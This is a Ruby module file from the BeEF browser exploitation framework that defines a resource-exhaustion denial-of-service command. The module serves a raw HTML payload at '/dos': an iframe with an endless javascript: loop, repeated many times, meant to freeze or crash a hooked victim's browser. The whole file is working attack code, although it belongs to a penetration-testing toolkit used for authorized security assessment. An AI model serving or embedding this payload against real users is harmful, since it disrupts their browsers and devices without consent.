#
# Copyright (c) 2006-2024 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Resource_exhaustion_dos < BeEF::Core::Command
  def self.options
    []
  end

  def pre_send
    src = %q{<iframe src="javascript:while(true) window.location='';">}
    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw(
      '200',
      { 'Content-Type' => 'text/html' },
      src * rand(10..19),
      '/dos',
      -1
    )
  end

  def post_execute
    save({ 'result' => @datastore['result'] })
  end
end
